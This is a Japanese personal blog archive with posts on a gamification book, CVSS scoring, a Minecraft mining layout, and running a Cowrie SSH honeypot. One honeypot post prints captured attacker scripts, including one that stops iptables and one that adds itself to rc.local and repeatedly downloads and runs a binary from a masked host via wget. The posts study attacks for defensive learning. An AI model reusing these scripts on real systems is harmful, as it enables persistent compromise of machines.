とりあえずブログ

普通のサラリーマンの雑多なブログ

【読書メモ】ゲームと仕事の違いは何か『残酷すぎる成功法則』

最近マインクラフトにハマりすぎていて、読書する時間、ブログ書く時間、勉強する時間、プログラミングする時間など僕が生産的と思っている時間が少なくなっているので、ゲームと仕事や勉強などの違いを知りたくて、『残酷すぎる成功法則』を読みました。

残酷すぎる成功法則  9割まちがえる「その常識」を科学する

残酷すぎる成功法則 9割まちがえる「その常識」を科学する

結論から言うと、根本的には違いは無くて、個人の捉え方に違いがあると知ったので、どう捉えたら仕事や勉強などがゲームみたいに夢中になれるかご紹介したいと思います。

この本では上記にあるような僕の疑問に直接的にヒントを与えてくれるところが多々あり、とても参考になりました。

ここで疑問が湧いてくる。厄介なことも多く、挫折感も味わうゲームは学業や仕事と大差ないのに、どうして人はゲームにワクワクし、仕事にはウンザリなのか? 

エリック・バーカー;橘玲.残酷すぎる成功法則(Kindleの位置No.1685-1687).株式会社飛鳥新社.Kindle版.

ゲームの仕組みを仕事や勉強に適用すれば、人生でも成功できるとこの本では主張しています。

その仕組みとは、「WNGF」という仕組みです。

WNGFとは

WNGFとは、

  • 勝てること(Winnable)
  • 斬新であること(Novel)
  • 目標(Goals)
  • フィードバック(Feedback)

の頭文字を取ったものになります。

多くのゲームは上記の4つの要素がうまく仕組まれていて、仕事や勉強はそれらの要素が少ないためにつまらなくなってしまうとのこです。

なので僕が今ハマっているマインクラフトと勉強(現状)を比較してみました。

f:id:tkm03:20180614210832p:plain

こんな感じだと思います。

マインクラフトなど様々なゲームは大体勝てるし、斬新で新しい目標がどんどん出現するし、何より成果が見えやすいのに対し、勉強は勝てない(なかなか成果が上がっていると感じられない)ことが多いような気がします。

勉強に関して大事なことは、まずは簡単に勝てるゴールを設定することが大事なんだなあと思いました。

例えば、

  • 参考書を買う
  • 目次だけ見てみる
  • 1問だけ問題を解いてみる

など、可能な限り簡単に勝てるゴールを設定する工夫をすれば、ゲーム性が増すと思います。

また、斬新さに関しても、今はできないことを悲観的に捉えるのではなく、それを新しいステージだと思って、取り組むことが斬新さを向上させることに繋がると思います。

目標に関しては、フィードバックと被るとことがあるのですが、長期的にみてもある程度わかりやすいゴールを設定した方が勉強に夢中になれると思います。 (例えば、資格を取得するなど。)

ということで、上記の表を修正したものがこちらです。

f:id:tkm03:20180614211325p:plain

なんとなく、この4つの要素を向上させることで、勉強も楽しく取り組むことができるようになりそうです。

みなさんも頑張りたいけど、なんか後回しにしてしまうようなことがあれば、この4つの要素を取り入れて、楽しく生活していってほしいです。

上記のシートを記入できるようにしたので、よかったら使ってみてください。

f:id:tkm03:20180614212611p:plain

ダウンロードはこちらから。

https://drive.google.com/open?id=15m3E0kLnpa66Ng6LzGt_8sO5pvOmFnGH

SSHハニーポットCowrieでダウンロードされたファイルを見てみる

しばらくCowrieを放置していたのですが、かなりアクセスが来ているようで、実際にダウンロードされたファイルもたくさんあったので、どんなファイルがダウンロードされていたかご紹介したいと思います。

f:id:tkm03:20180610184955p:plain

Cowrieの場合、攻撃者がSSHでログインして何かしらのファイルをダウンロードした場合、上記の公式ドキュメントのとおりdlディレクトリに格納されます。

早速そこのディレクトリの中を覗いてみようと思います。

-rw-r--r--  1 cowrie cowrie      59 Jun 10 02:44 07f637a3d34119fc8818d7eb6d7b4aa17891a1bf9cb563df13d6802864b89386
-rw-r--r--  1 cowrie cowrie 1035157 Jun  1 01:24 0ffa9e646e881568c1f65055917547b04d89a8a2150af45faa66beb2733e7427
-rw-r--r--  1 cowrie cowrie    2250 May 31 04:10 12a51f899c8fab7c131b4b851cca0c84e95f31aadc86ce1198fae91126304127
-rw-r--r--  1 cowrie cowrie 3239584 Jun  4 21:38 12d6f7971e5797e060621aa150eda78e814a3a9dab093f6e58d83cd94a71ced1
-rw-r--r--  1 cowrie cowrie 1223123 Jun  6 14:56 176a317df7b801a5af856e8b351995dacba50f6d4df1281235dce536e63c6251
-rw-r--r--  1 cowrie cowrie    2267 Jun  6 22:59 36fc374823925e9d1c14bd41e282284111fbd345c8d9755974ea0e568f8ddbee
-rw-r--r--  1 cowrie cowrie   65400 Jun  4 14:35 399851bc221ffe3999f82ff7cd70a150ed92dbaa04c6e0f21bccf176d5dd0ceb
-rw-r--r--  1 cowrie cowrie    7200 Jun  3 18:48 4188692fd507fe4c362ad5aa99b5db01673e88ec8bfe605986ceb1480c2e6c97
-rw-r--r--  1 cowrie cowrie    2327 Jun  1 02:12 4f75eec50688856480316bb404ba90d33d5de43ded45066b5a3d9b3fb7cc8720
-rw-r--r--  1 cowrie cowrie 1034309 Jun  1 01:22 5685b086ce12ffede8814e303223a67eca476735dfe4e9e84b751354a5ea0232
-rw-r--r--  1 cowrie cowrie 1203885 Jun  1 01:23 5c8c41253aa68adeb955e7d1c7b8e084e06537f75eff12c3f3a0f3cb30cb2152
-rw-r--r--  1 cowrie cowrie       1 Jun  7 17:00 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
-rw-r--r--  1 cowrie cowrie    2253 Jun  4 21:37 7f4baf3bc359fe5679b76b2873ee5d3e474f6436bbb2f3027383ac87b9e2b590
-rw-r--r--  1 cowrie cowrie 1215093 Jun  1 01:23 86fbdd7df9486a17e9c408c7e50635e26402fdf297c9e97f1a5256100401dcc5
-rw-r--r--  1 cowrie cowrie 1223123 Jun  4 13:11 885fdc6be061dae3a95501f636924c1e7305684a468cd382ed8246e8bf84a5ff
-rw-r--r--  1 cowrie cowrie 1069817 Jun  1 01:22 9c2848962733846bf50b490fd8f6c7ce9ecade2d3f2f530f5ecbba283af87d3a
-rw-r--r--  1 cowrie cowrie      73 Jun  6 14:58 9e5f93361b899d85a00a286bd1ea96b056d102926f96c131fc988739eca18355
-rw-r--r--  1 cowrie cowrie 1223123 May 31 04:10 beba1a9b20f23f022bd354e5128c463bbe52c3715b406a3aae73e7e33f39518a
-rw-r--r--  1 cowrie cowrie    7432 Jun  1 17:58 d94e3cd7a3575da5b8326298fe93fa7504979640257d3beab511f4257ac47803
-rw-r--r--  1 cowrie cowrie 1236080 Jun  6 22:59 e651a05c9cb0bde4e8efa635f699ba3e186afd4ae4c42760e3d97ffa01d8c8ca
-rw-r--r--  1 cowrie cowrie 1135000 Jun  4 13:19 f1c8304d393a42b42cde13663089a6bd46713f7abadfe8294efcec7142cb4fbe
-rw-r--r--  1 cowrie cowrie      58 May 31 04:10 f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154
-rw-rw-r--  1 cowrie cowrie      14 May 29 21:53 .gitignore
-rw-------  1 cowrie cowrie       0 Jun  4 21:36 tmp5g1gzD
-rw-------  1 cowrie cowrie       0 May 31 04:09 tmp8InVpr
-rw-------  1 cowrie cowrie       0 May 31 04:09 tmpi2B1wA

めちゃめちゃファイルがダウンロードされてます。。。笑

fileコマンドでどんなタイプのファイルが来ているか確認してみた結果がこちらです。

$ file *
07f637a3d34119fc8818d7eb6d7b4aa17891a1bf9cb563df13d6802864b89386: ASCII text
0ffa9e646e881568c1f65055917547b04d89a8a2150af45faa66beb2733e7427: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
12a51f899c8fab7c131b4b851cca0c84e95f31aadc86ce1198fae91126304127: Bourne-Again shell script, ASCII text executable
12d6f7971e5797e060621aa150eda78e814a3a9dab093f6e58d83cd94a71ced1: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=c77cd956ea0e1620a83b6385e1246f0a8c59c270, not stripped
176a317df7b801a5af856e8b351995dacba50f6d4df1281235dce536e63c6251: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
36fc374823925e9d1c14bd41e282284111fbd345c8d9755974ea0e568f8ddbee: Bourne-Again shell script, ASCII text executable
399851bc221ffe3999f82ff7cd70a150ed92dbaa04c6e0f21bccf176d5dd0ceb: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
4188692fd507fe4c362ad5aa99b5db01673e88ec8bfe605986ceb1480c2e6c97: Perl script, ASCII text executable
4f75eec50688856480316bb404ba90d33d5de43ded45066b5a3d9b3fb7cc8720: Bourne-Again shell script, ASCII text executable
5685b086ce12ffede8814e303223a67eca476735dfe4e9e84b751354a5ea0232: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
5c8c41253aa68adeb955e7d1c7b8e084e06537f75eff12c3f3a0f3cb30cb2152: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d: very short file (no magic)
7f4baf3bc359fe5679b76b2873ee5d3e474f6436bbb2f3027383ac87b9e2b590: Bourne-Again shell script, ASCII text executable
86fbdd7df9486a17e9c408c7e50635e26402fdf297c9e97f1a5256100401dcc5: ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
885fdc6be061dae3a95501f636924c1e7305684a468cd382ed8246e8bf84a5ff: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
9c2848962733846bf50b490fd8f6c7ce9ecade2d3f2f530f5ecbba283af87d3a: ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped
9e5f93361b899d85a00a286bd1ea96b056d102926f96c131fc988739eca18355: ASCII text
beba1a9b20f23f022bd354e5128c463bbe52c3715b406a3aae73e7e33f39518a: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
d94e3cd7a3575da5b8326298fe93fa7504979640257d3beab511f4257ac47803: Perl script, ASCII text executable
e651a05c9cb0bde4e8efa635f699ba3e186afd4ae4c42760e3d97ffa01d8c8ca: ELF 64-bit LSB  executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=c0c8301fa94c01ee6d79e0d745b7830c77693a97, stripped
f1c8304d393a42b42cde13663089a6bd46713f7abadfe8294efcec7142cb4fbe: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154: ASCII text
tmp5g1gzD:                                                        empty 
tmp8InVpr:                                                        empty 
tmpi2B1wA:                                                        empty 

一番多いのが、"ELF 32-bit MSB executable"という標準バイナリ形式のファイルでした。

それ以外でもPerlスクリプトだったり、普通のシェルスクリプトだったり、いろんな種類のファイルがダウンロードされていました。

今回は手軽に閲覧できるテキスト形式のファイルの中身を2つほどご紹介したいと思います。

ファイル①

こちらのファイルはroot権限でasd5121という実行ファイルを実行して、iptablesをストップするスクリプトになります。

cd  /root/
./asd5121&
./asd5121&
/etc/init.d/iptables stop

asd5121はバイナリ形式だったので、どんな動作をするのか確認することはできませんでしたが、iptablesを停止されるのは嫌ですね。

ファイル②

次はシェルスクリプトになります。

こちらもインターネット上からファイルをダウンロードして、そのファイルを実行するような動きになっています。

#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                qun:10776622
#                2016-06-14

if [ "sh /etc/Xsny.sh &" = "$(cat /etc/rc.local | grep /etc/Xsny.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/Xsny.sh &" >> /etc/rc.local
fi

while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/tmp/ElccR" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/tmp/ElccR" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P . http://XXX.top/ElccR
                ./wget -P /tmp/  http://XXX.top/ElccR &> /dev/null
                chmod 755 /tmp/ElccR
                rm wget -rf
            else
                echo "No wget"
            fi
        fi
        /tmp/ElccR &
        #./ElccR &
    elif [[ $Centos_sshd_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "ElccR" | grep -v grep | awk '{print $2}'); do
            Centos_sshd_killn=$(($Centos_sshd_killn-1))
            if [[ $Centos_sshd_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi

    Centos_ssh_killn=$(ps aux | grep "/tmp/ElccR" | grep -v grep | wc -l)
    if [[ $Centos_ssh_killn -eq 0 ]]; then
        if [ ! -f "/tmp/ElccR" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P .  http://XXX.top/ElccR
                ./wget -P /tmp/  http://XXX.top/ElccR &> /dev/null
                chmod 755 /tmp/ElccR
                rm wget -rf
            else
                echo "No wget"
            fi
        fi
        /tmp/ElccR &
        #./ElccR &
    elif [[ $Centos_ssh_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "ElccR" | grep -v grep | awk '{print $2}'); do
            Centos_ssh_killn=$(($Centos_ssh_killn-1))
            if [[ $Centos_ssh_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi

    sleep 600
done

このスクリプトに記載されているURLにアクセスしてみましたが、現在はファイルをダウンロードできないようになっていました。

先頭にあるコメントが面白いですね。

Welcome like-minded friends to come to exchange.
We are a group of people who have a dream.

直訳すると「同じ志を持った仲間を歓迎する。我々はある夢を持ったグループです。」って感じですかね。

今後もCowrieのログは観察していこうと思います。

関連記事です。

saito.hatenadiary.com

saito.hatenadiary.com

エンジニアならCVSS(共通脆弱性評価システム )について知っとこ

日々、ハニーポットを運用していて様々な製品の脆弱性を狙った攻撃を観察していますが、その脆弱性を評価するCVSS(共通脆弱性評価システム )について疎かったので、今日はそのCVSSについてご紹介したいと思います。

CVSSとは

そもそもCVSSとは何なのでしょうか。

IPAによると、

共通脆弱性評価システム CVSS ( Common Vulnerability Scoring System) は、情報システムの脆弱性に対するオープンで包括的、汎用的な評価手法の確立と普及を目指し、米国家インフラストラクチャ諮問委員会( NIAC: National Infrastructure Advisory Council )のプロジェクトで 2004年10月に原案が作成されました。

と説明されております。

CVSSは脆弱性に対するオープンで汎用的な指標で、脆弱性定量的に評価できるのが大きなポイントになります。

CVSSは下記の3つの観点から脆弱性を評価します。

  • 基本評価基準(Base Metrics)
  • 現状評価基準(Temporal Metrics)
  • 環境評価基準(Environmental Metrics)

それぞれの説明はIPAのサイトで詳しく解説されております。

f:id:tkm03:20180606204830p:plain (引用:共通脆弱性評価システムCVSS概説:IPA 独立行政法人 情報処理推進機構

評価基準の詳細な内容

上記の3つの評価基準にはさらに詳細に区分があり、内容は上記サイトに詳しく記載されていますが、区分ごとに値が決まっています。

その各値を基に脆弱性定量的に算出することができるという仕組みになっています。

脆弱性の値の算出方法

値の算出方法も上記サイトに記載されていて、下記のとおりとなっています。

  • CVSS 基本値 (Base Score)

影響度 = 10.41×( 1 - ( 1 - C )×( 1 - I )×( 1 - A ) ) …式(1)

攻撃容易性 = 20×AV×AC×Au …式(2)

f(影響度) = 0(影響度が0の場合) , 1.176(影響度が0以外の場合) …式(3)

基本値 = ((0.6× 影響度)+(0.4× 攻撃容易性 )-1.5)×f(影響度) …式(4)        (小数点第 2 位四捨五入)

  • CVSS 現状値 (Temporal Score)

現状値 = 基本値 ×E×RL×RC (小数点第 2 位四捨五入) …式(5)

  • CVSS 環境値 (Environmental Score)

環境値 =( 調整後現状値 +(10- 調整後現状値 )×CD)×TD …式(8)       (小数点第 2 位四捨五入)

一番やばい値と一番やばくない値について

上記の算出式を基にCVSSの値の一番やばい値(最高値)と一番やばくない値(最低値)を求めてみた結果がこちらです。 f:id:tkm03:20180606224852p:plain

計算してみて分かったのですが、CVSS 基本値 (Base Score)、CVSS 現状値 (Temporal Score)、CVSS 環境値 (Environmental Score)のいずれも実際には「9.99・・・」になるので、小数点第2位を四捨五入すると最高値が10、最低値が0になりました。

全体的な値でやばそうとかやばくなさそうとかは分かるのですが、個々の区分を見ると、攻撃の実行容易生や攻撃の可能性(理論上可能だけど、実行は難しいとか)など細かな特性があるので、それぞれの脆弱性情報を見る際に役に立ちそうです。

ちなみに2018年が始まって、現時点で深刻度が危険レベル(7.0〜10.0)の脆弱性は「脆弱性対策情報データベース」によると、822件もあるので、結構やばい脆弱性がたくさんあるようです。

f:id:tkm03:20180606224807p:plain

上記のCCSSの各値を理解していると、「脆弱性対策情報データベース」を見ても脆弱性のレベル感が具体的に理解できるようになるので、エンジニアの方はぜひ知っといてほしいです。

Mikto Til社のRouterOSを探索するようなアクセスをキャッチ

Mikto Til社のRouterOSを探索するようなアクセスをキャッチしたので、ご紹介します。

今回キャッチしたアクセスログはこんな感じです。

GET /webfig/roteros.info HTTP/1.1
Accept: */*
Connection: close
Host: XXX.XXX.XXX.XXX
User-Agent: Wget(linux)

単純にGETリクエストで/webfig/roteros.infoにアクセスしています。

WebfigはRouterOSの管理用ウェブサイトなので、この管理画面に脆弱性がある可能性があります。

こちらはWebFig画面の利用方法を紹介した動画になります。 www.youtube.com

様々なネットワークの設定からこのWebFig画面で可能なことが分かります。

ネットで調べても、このアクセスについてあまり情報がなかったのですが、ここ最近はpythonスクリプトで検証をしているような動きもみられるので、何かしらの脆弱性があるものと思われます。

pythonを使用したアクセス例

GET /webfig/roteros.info HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Host: XXX.XXX.XXX.XXX
User-Agent: python-requests/2.18.4

ここ最近、ネットワーク機器の脆弱性を狙ったような攻撃が多いので、自宅に何かしらのネットワーク機器を設置している方は自分の利用している製品に脆弱性がないか定期的にチェックすることをおすすめします。

今後Mikto Til社のRouterOSに関する脆弱性の情報はウォッチしようと思います。

参考情報

https://forum.mikrotik.com/viewtopic.php?t=133995

【マインクラフト】風車式ブランチマイニングを図解で解説する

マインクラフトをやっていると、やっぱりどうしてもダイヤ大量にほしーってなります。

ブランチマイニングというものをヒカキンさんの動画で知ったのですが、オーソドックスなツリー状ブランチマイニングに飽きてきたので、風車方式ブランチマイニングを使用と思うのですが、動画を見ただけじゃイメージが湧かなかったです。。。


【マインクラフト】風車型ブランチマイニングでダイヤを取りまくるぞー!【ヒカキンのマイクラ実況 Part118】【ヒカクラ】

そこで、スプレッドシートで図解しながら、自分用に手順を作ってみました。

1. 9×9マスの部屋を作る

まず、縦に深く掘るところは、普通のブランチマイニングと変わらないのですが、縦に掘った後9×9マスの部屋を作ります。

上から見た図 f:id:tkm03:20180602182350j:plain

2. 部屋の角を4マス掘る

次に部屋の角のところを4マス分掘ります。

上から見た図 f:id:tkm03:20180602182550j:plain

もうこの時点で風車っぽいです。

3. 右に4マス掘る

次に上記2で掘った4マス分の穴のどれかひとつから右に4マス分掘ります。

上から見た図 f:id:tkm03:20180602182806j:plain

4. 左4マス右ずーっと掘る

その後、上記3で作成した穴から「左4マス右ずーっと」掘ります。

上から見た図 f:id:tkm03:20180602182949j:plain

こんな感じ。

あとは、3と4を繰り返す感じです。

そうすると1周した時点でこんな感じになります。 f:id:tkm03:20180602183133p:plain

3周すると、こんな感じになります。

f:id:tkm03:20180602184028p:plain

なんか綺麗ですね。

風車式ブランチマイニングするときは、「右に4マス」、「左4マス右ずーっと」をキーワードに作業を淡々と実施していきたいと思います。

Cowrieをインストールしてみて1日経ったログを見てみる

昨日SSHハニーポットのCowrieをインストールしたのですが、1日でどれくらい攻撃がきているか確認してみました。

saito.hatenadiary.com

その数、なんと。。。



483件!

多すぎでしょ。笑

日々SSHの攻撃は来ているのは分かっていましたが、1日で483件も来ているのには驚きです。。。

大体1時間あたり20件、3分に1件くらいのSSH攻撃が来ていることになります。

僕のサーバーの場合、特に公開しているサーバーではないので、普通に公開しているWebサービスはもっと攻撃が来ている可能性があります。

どんなユーザー名でSSH接続しに来ているかというと、こんな感じです。

ユーザー名 件数
root 175
admin 53
test 24
support 4
ubuntu 4

やっぱり断トツで多いのは「root」でした。 rootユーザーを乗っ取ってしまえば、なんでもできてしまうので攻撃者からすると、ローリスクハイリターンです。

次に多いのは、adminでした。 こちらも管理者権限を持っていることが多いため、攻撃者からは狙われやすいようです。

あとはtest、supportといった作成しがちなユーザー名での攻撃が来ていました。

次に実際に攻撃で使用されているパスワードは、こんな感じでした。

パスワード 件数
admin 108
123456 31
password 11
1234 7
123 5

adminが一番多く試されているようでした。 個人的にはpasswordが一番かなと思っていたのですが、passwordは3位で、それを上回ったのが123456という数字のみのパスワードでした。

いっぱいログが採取できたのですが、興味深かったのが、攻撃に使用されるパスワードの長さでした。 横軸にパスワードの文字列の長さ、縦軸が攻撃件数の棒グラフを作成してみました。

f:id:tkm03:20180530230359p:plain

5文字のパスワードが一番多く、逆に25文字以上のパスワードの攻撃は来ていませんでした。

パスワードを25文字以上にすると安全性は非常に高いようです。

1日で結構面白いログが採取できたので、今回採取したユーザー名とパスワードを設定ファイルに登録して、実際の攻撃内容を観察してみようと思います。

SSHハニーポットのCowrieをインストールしてみた

以前から気づいていたのですが、僕のハニーポットのauth.logにものすごい量のSSH認証失敗ログが記録されています。

インターネットの世界はHTTPだけでなく、SSHアタックも多いことと、最近Glastopfの攻撃アクセスが偏っていて、面白くなくなってきたので、SSHハニーポットのCrowrieをインストールしてみました。

github.com

ほぼほぼ公式ドキュメントどおりにインストールすることができましたが、だいたいの手順をご紹介します。 OSは公式ドキュメントどおりUbuntuです。

1. 各種パッケージのインストール

まずは下記コマンドでパッケージのインストールします。

$ sudo apt-get install git python-virtualenv libssl-dev libffi-dev build-essential libpython-dev python2.7-minimal authbind

2. ユーザー作成

次に下記コマンドでユーザーを作成します。

$ sudo adduser --disabled-password cowrie
Adding user `cowrie' ...
Adding new group `cowrie' (1002) ...
Adding new user `cowrie' (1002) with group `cowrie' ...
Changing the user information for cowrie
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]

$ sudo su - cowrie

入力するところは、そのままEnterで問題ないです。

3. ソースコードのチェックアウト

次にCowrieのソースコードGitHubからクローンします。

$ git clone http://github.com/micheloosterhof/cowrie
Cloning into 'cowrie'...
remote: Counting objects: 2965, done.
remote: Compressing objects: 100% (1025/1025), done.
remote: Total 2965 (delta 1908), reused 2962 (delta 1905), pack-reused 0
Receiving objects: 100% (2965/2965), 3.41 MiB | 2.57 MiB/s, done.
Resolving deltas: 100% (1908/1908), done.
Checking connectivity... done.

$ cd cowrie

再度にディレクトリを移動しておきます。

4. 仮想環境を設定

次に仮想環境の設定を行っていきます。 とはいっても簡単で下記コマンドを実行するだけです。

$ virtualenv cowrie-env
New python executable in ./cowrie/cowrie-env/bin/python
Installing setuptools, pip, wheel...done.

その後、仮想環境をアクティブな状態にして、パッケージをインストールしていきます。

$ source cowrie-env/bin/activate

(cowrie-env) $ pip install --upgrade pip

(cowrie-env) $ pip install --upgrade -r requirements.txt

5. 設定ファイルの作成

次に設定ファイルを作成するのですが、僕はめんどくさかったので、下記コマンドでデフォルトの設定ファイルを作成しました。

$ cp cowrie.cfg.dist cowrie.cfg

6. 起動

上記5まで終えたら、いよいよCowrieを起動します。

起動は下記コマンドを実行します。

$ bin/cowrie start
Activating virtualenv "cowrie-env"
Starting cowrie with extra arguments [] ...

7. NATの設定

起動まではできたのですが、このままではCrowieがlistenしているデフォルトの2222番ポートにアクセスが来てくれないので、下記コマンドでNATの設定を入れてあげます。

$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222

これをやるとこれまでSSH接続を22番ポートでログインしていた方はログインできなくなる可能性があるので、必要に応じて管理用のポートをリダイレクトしてあげるようにしてあげましょう。

下記コマンドは3333番ポートを22番ポートにリダイレクトする設定コマンドです。

$ sudo iptables -t nat -A PREROUTING -p tcp --dport 3333 -j REDIRECT --to-port 22

これで3333番ポートにアクセスすれば、ひとまずSSH接続できるようになります。

ひとまずこれでSSH攻撃を観察してみようと思います。